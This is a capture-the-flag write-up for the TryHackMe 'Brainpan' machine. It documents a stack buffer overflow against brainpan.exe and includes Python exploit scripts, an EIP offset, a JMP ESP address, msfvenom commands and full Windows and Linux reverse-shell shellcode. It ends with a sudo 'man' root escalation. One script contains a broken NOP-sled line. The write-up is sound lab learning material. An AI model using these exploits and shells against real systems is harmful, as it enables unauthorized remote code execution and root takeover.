CTF-Writeups/TryHackMe/Brainpan.md
2022-05-10 12:01:02 +05:00

12 KiB

TryHackMe - Brainpan

NMAP

Nmap scan report for 10.10.31.125
Host is up (0.18s latency).
Not shown: 64659 closed tcp ports (reset), 874 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?                                                                
| fingerprint-strings:      
|   NULL:
|     _| _|
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

From the nmap scan we can see on port 9999 it's running something and asking for input and on port 10000 it's running a python server

PORT 10000 (HTTP)

It's a simple web page, so let's fuzz for files and directories here

This found a directory named /bin

And here it's an exe named brainpan.exe which must be running on port 9999, so we need to transfer this on windows machine and try to first exploit it locally

Running file on the exe we can see which binary this is

Spiking

After running it and trying to cause a crash in the application

It is vulnerable to buffer overlflow, so now we need to use immunity debugger and perform the steps to overflow the application

Fuzzing

Let's make script to cause a buffer overflow in the application

#!/usr/bin/python

import socket

host = "192.168.0.113"
port = 9999

buffer = "A" * 1000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)

print "[+] Buffer sent!"

s.close()

Finding the offset

We can see the EIP register having the value 414141 which are just bunch of A's, we need to find exaclty where the application crashed for that we need to know the offset so we can control the EIP to go to next instruction to execute commands and in order to find that we can generate a random pattern of strings using msf-pattern_create

Replace these strings with the A's in the script

After running this script, the EIP is going to hold a different value which is 35724134

Using msf-pattern-offset we can identify the offset by providing the EIP value

We now know that if we send the input A * 524 it will cause an overflow, let's try to overwrite the EIP with 4 D's to see if we can control EIP with any value we want

#!/usr/bin/python

import socket

host = "192.168.0.130"
port = 9999

buffer = "A" * 524 + "D" * 4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)

print "[+] Buffer sent!"

s.close()

The EIP has the value 44444444 which from hex converts to DDDD

Identifying Bad Characters

Now the next step is to identify the bad characters for that we can just copy those characters from here

https://github.com/cytopia/badchars

Run this script and the right click on ESP and Follow Dump

To identify bad characters, if there's any number missing like 01 it is considered as bad character but there aren't any missing characters from the input that we just sent so no bad characters

Finding the JMP instruction

Now we need to find the jump instruction JMP which is telling the stack to go jump to an address, we need to find address of this instruction so that we can make the stack jump to our instruction for calling a reverse shell

For finding the jmp instruction we can use a python script called mona

https://github.com/corelan/mona

This script can loaded by placing it in Immunitiy debugger's PyCommands and can be loaded with !mona

Running !mona jmp -r esp we can identify the jmp instruction in the exe

We get only one jmp instruction 0x311712f3

Getting a reverse shell

Now we need to just generate a windows 32 bit reverse shell payload

msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=2222 EXITFUNC=thread -f python -b "\x00" 
#!/usr/bin/python                                                                        
import socket                                                                                  
host = "192.168.0.139"
port = 9999

buf =  b""                                                              
buf += b"\xba\x97\x93\x0e\x39\xda\xc9\xd9\x74\x24\xf4\x5f\x29"
buf += b"\xc9\xb1\x52\x31\x57\x12\x83\xef\xfc\x03\xc0\x9d\xec"
buf += b"\xcc\x12\x49\x72\x2e\xea\x8a\x13\xa6\x0f\xbb\x13\xdc"
buf += b"\x44\xec\xa3\x96\x08\x01\x4f\xfa\xb8\x92\x3d\xd3\xcf"
buf += b"\x13\x8b\x05\xfe\xa4\xa0\x76\x61\x27\xbb\xaa\x41\x16"
buf += b"\x74\xbf\x80\x5f\x69\x32\xd0\x08\xe5\xe1\xc4\x3d\xb3"
buf += b"\x39\x6f\x0d\x55\x3a\x8c\xc6\x54\x6b\x03\x5c\x0f\xab"
buf += b"\xa2\xb1\x3b\xe2\xbc\xd6\x06\xbc\x37\x2c\xfc\x3f\x91"
buf += b"\x7c\xfd\xec\xdc\xb0\x0c\xec\x19\x76\xef\x9b\x53\x84"
buf += b"\x92\x9b\xa0\xf6\x48\x29\x32\x50\x1a\x89\x9e\x60\xcf"
buf += b"\x4c\x55\x6e\xa4\x1b\x31\x73\x3b\xcf\x4a\x8f\xb0\xee"
buf += b"\x9c\x19\x82\xd4\x38\x41\x50\x74\x19\x2f\x37\x89\x79"
buf += b"\x90\xe8\x2f\xf2\x3d\xfc\x5d\x59\x2a\x31\x6c\x61\xaa"
buf += b"\x5d\xe7\x12\x98\xc2\x53\xbc\x90\x8b\x7d\x3b\xd6\xa1"
buf += b"\x3a\xd3\x29\x4a\x3b\xfa\xed\x1e\x6b\x94\xc4\x1e\xe0"
buf += b"\x64\xe8\xca\xa7\x34\x46\xa5\x07\xe4\x26\x15\xe0\xee"
buf += b"\xa8\x4a\x10\x11\x63\xe3\xbb\xe8\xe4\xcc\x94\xf2\x77"
buf += b"\xa4\xe6\xf2\x7f\x9b\x6e\x14\x15\xf3\x26\x8f\x82\x6a"
buf += b"\x63\x5b\x32\x72\xb9\x26\x74\xf8\x4e\xd7\x3b\x09\x3a"
buf += b"\xcb\xac\xf9\x71\xb1\x7b\x05\xac\xdd\xe0\x94\x2b\x1d"
buf += b"\x6e\x85\xe3\x4a\x27\x7b\xfa\x1e\xd5\x22\x54\x3c\x24"
buf += b"\xb2\x9f\x84\xf3\x07\x21\x05\x71\x33\x05\x15\x4f\xbc"
buf += b"\x01\x41\x1f\xeb\xdf\x3f\xd9\x45\xae\xe9\xb3\x3a\x78"
buf += b"\x7d\x45\x71\xbb\xfb\x4a\x5c\x4d\xe3\xfb\x09\x08\x1c"
buf += b"\x33\xde\x9c\x65\x29\x7e\x62\xbc\xe9\x9e\x81\x14\x04"
buf += b"\x37\x1c\xfd\xa5\x5a\x9f\x28\xe9\x62\x1c\xd8\x92\x90"
buf += b"\x3c\xa9\x97\xdd\xfa\x42\xea\x4e\x6f\x64\x59\x6e\xba"

buffer = "A" * 524 + "\xf3\x12\x17\x31" + buf


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)

print "[+] Buffer sent!"

s.close()


If we run this we don't get a shell

Because we need to add a few NOPs (no operation) in our payload which can be done with x90 ,NOP instructions simply just slide the program execution to the next memory address

#!/usr/bin/python                                                                        
import socket                                                                                  
host = "192.168.0.139"
port = 9999

buf =  b""                                                            
buf += b"\xba\x97\x93\x0e\x39\xda\xc9\xd9\x74\x24\xf4\x5f\x29"
buf += b"\xc9\xb1\x52\x31\x57\x12\x83\xef\xfc\x03\xc0\x9d\xec"
buf += b"\xcc\x12\x49\x72\x2e\xea\x8a\x13\xa6\x0f\xbb\x13\xdc"
buf += b"\x44\xec\xa3\x96\x08\x01\x4f\xfa\xb8\x92\x3d\xd3\xcf"
buf += b"\x13\x8b\x05\xfe\xa4\xa0\x76\x61\x27\xbb\xaa\x41\x16"
buf += b"\x74\xbf\x80\x5f\x69\x32\xd0\x08\xe5\xe1\xc4\x3d\xb3"
buf += b"\x39\x6f\x0d\x55\x3a\x8c\xc6\x54\x6b\x03\x5c\x0f\xab"
buf += b"\xa2\xb1\x3b\xe2\xbc\xd6\x06\xbc\x37\x2c\xfc\x3f\x91"
buf += b"\x7c\xfd\xec\xdc\xb0\x0c\xec\x19\x76\xef\x9b\x53\x84"
buf += b"\x92\x9b\xa0\xf6\x48\x29\x32\x50\x1a\x89\x9e\x60\xcf"
buf += b"\x4c\x55\x6e\xa4\x1b\x31\x73\x3b\xcf\x4a\x8f\xb0\xee"
buf += b"\x9c\x19\x82\xd4\x38\x41\x50\x74\x19\x2f\x37\x89\x79"
buf += b"\x90\xe8\x2f\xf2\x3d\xfc\x5d\x59\x2a\x31\x6c\x61\xaa"
buf += b"\x5d\xe7\x12\x98\xc2\x53\xbc\x90\x8b\x7d\x3b\xd6\xa1"
buf += b"\x3a\xd3\x29\x4a\x3b\xfa\xed\x1e\x6b\x94\xc4\x1e\xe0"
buf += b"\x64\xe8\xca\xa7\x34\x46\xa5\x07\xe4\x26\x15\xe0\xee"
buf += b"\xa8\x4a\x10\x11\x63\xe3\xbb\xe8\xe4\xcc\x94\xf2\x77"
buf += b"\xa4\xe6\xf2\x7f\x9b\x6e\x14\x15\xf3\x26\x8f\x82\x6a"
buf += b"\x63\x5b\x32\x72\xb9\x26\x74\xf8\x4e\xd7\x3b\x09\x3a"
buf += b"\xcb\xac\xf9\x71\xb1\x7b\x05\xac\xdd\xe0\x94\x2b\x1d"
buf += b"\x6e\x85\xe3\x4a\x27\x7b\xfa\x1e\xd5\x22\x54\x3c\x24"
buf += b"\xb2\x9f\x84\xf3\x07\x21\x05\x71\x33\x05\x15\x4f\xbc"
buf += b"\x01\x41\x1f\xeb\xdf\x3f\xd9\x45\xae\xe9\xb3\x3a\x78"
buf += b"\x7d\x45\x71\xbb\xfb\x4a\x5c\x4d\xe3\xfb\x09\x08\x1c"
buf += b"\x33\xde\x9c\x65\x29\x7e\x62\xbc\xe9\x9e\x81\x14\x04"
buf += b"\x37\x1c\xfd\xa5\x5a\x9f\x28\xe9\x62\x1c\xd8\x92\x90"
buf += b"\x3c\xa9\x97\xdd\xfa\x42\xea\x4e\x6f\x64\x59\x6e\xba"

buffer = "A" * 524 + "\xf3\x12\x17\x31" + "x\90" + 30 +  buf


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)

print "[+] Buffer sent!"

s.close()

We got our reverse shell now we need to deliver this on to the actual target, for getting a shell on the target machine we just need to replace the IP address

Foothold

After getting a shell, it was weird that I got a prompt saying CMD Version 1.4.1 and there was a bash script which was executing the brainpan.exe using wine which tells that this is actually a linux machine running a windows exe , so we need to generate a linux reverse shell payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=2222 -f python EXITFUNC=thread -b "\x00" 
#!/usr/bin/python

import socket

host = "10.10.252.161"
port = 9999

buf =  b""
buf += b"\xba\x5c\x45\x76\xc9\xda\xc4\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x0a\x4b\x94"
buf += b"\x3c\x83\x88\xaf\x5c\xb0\x6d\x03\xc9\x34\xfb\x42\xbd"
buf += b"\x5e\x36\x04\x2d\xc7\x78\x3a\x9f\x77\x31\x3c\xe6\x1f"
buf += b"\xc8\xb6\x46\xe3\xa4\xc4\x76\x13\x9b\x40\x97\x93\x85"
buf += b"\x02\x09\x80\xfa\xa0\x20\xc7\x30\x26\x60\x6f\xa5\x08"
buf += b"\xf6\x07\x51\x78\xd7\xb5\xc8\x0f\xc4\x6b\x58\x99\xea"
buf += b"\x3b\x55\x54\x6c"

buffer = "A" * 524 + "\xf3\x12\x17\x31" +"\x90" * 30 + buf


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)

print "[+] Buffer sent!"

s.close()

Now we got a linux shell and we can stabilize it with python3. Running sudo -l we can see that the user phuck can execute anansi_util as root user

Privilege Escalation

We have 3 commands to run , ip a which will show network interfaces, proclist will run ps to view the proc files and man command will be ran through manual

Here we can't exploit PATH variable as there's an env_reset

https://news.ycombinator.com/item?id=5306099

But there's an privesc for man command if we look at GTFOBINS

https://gtfobins.github.io/gtfobins/man/

sudo /home/anansi/bin/anansi_util manual man

References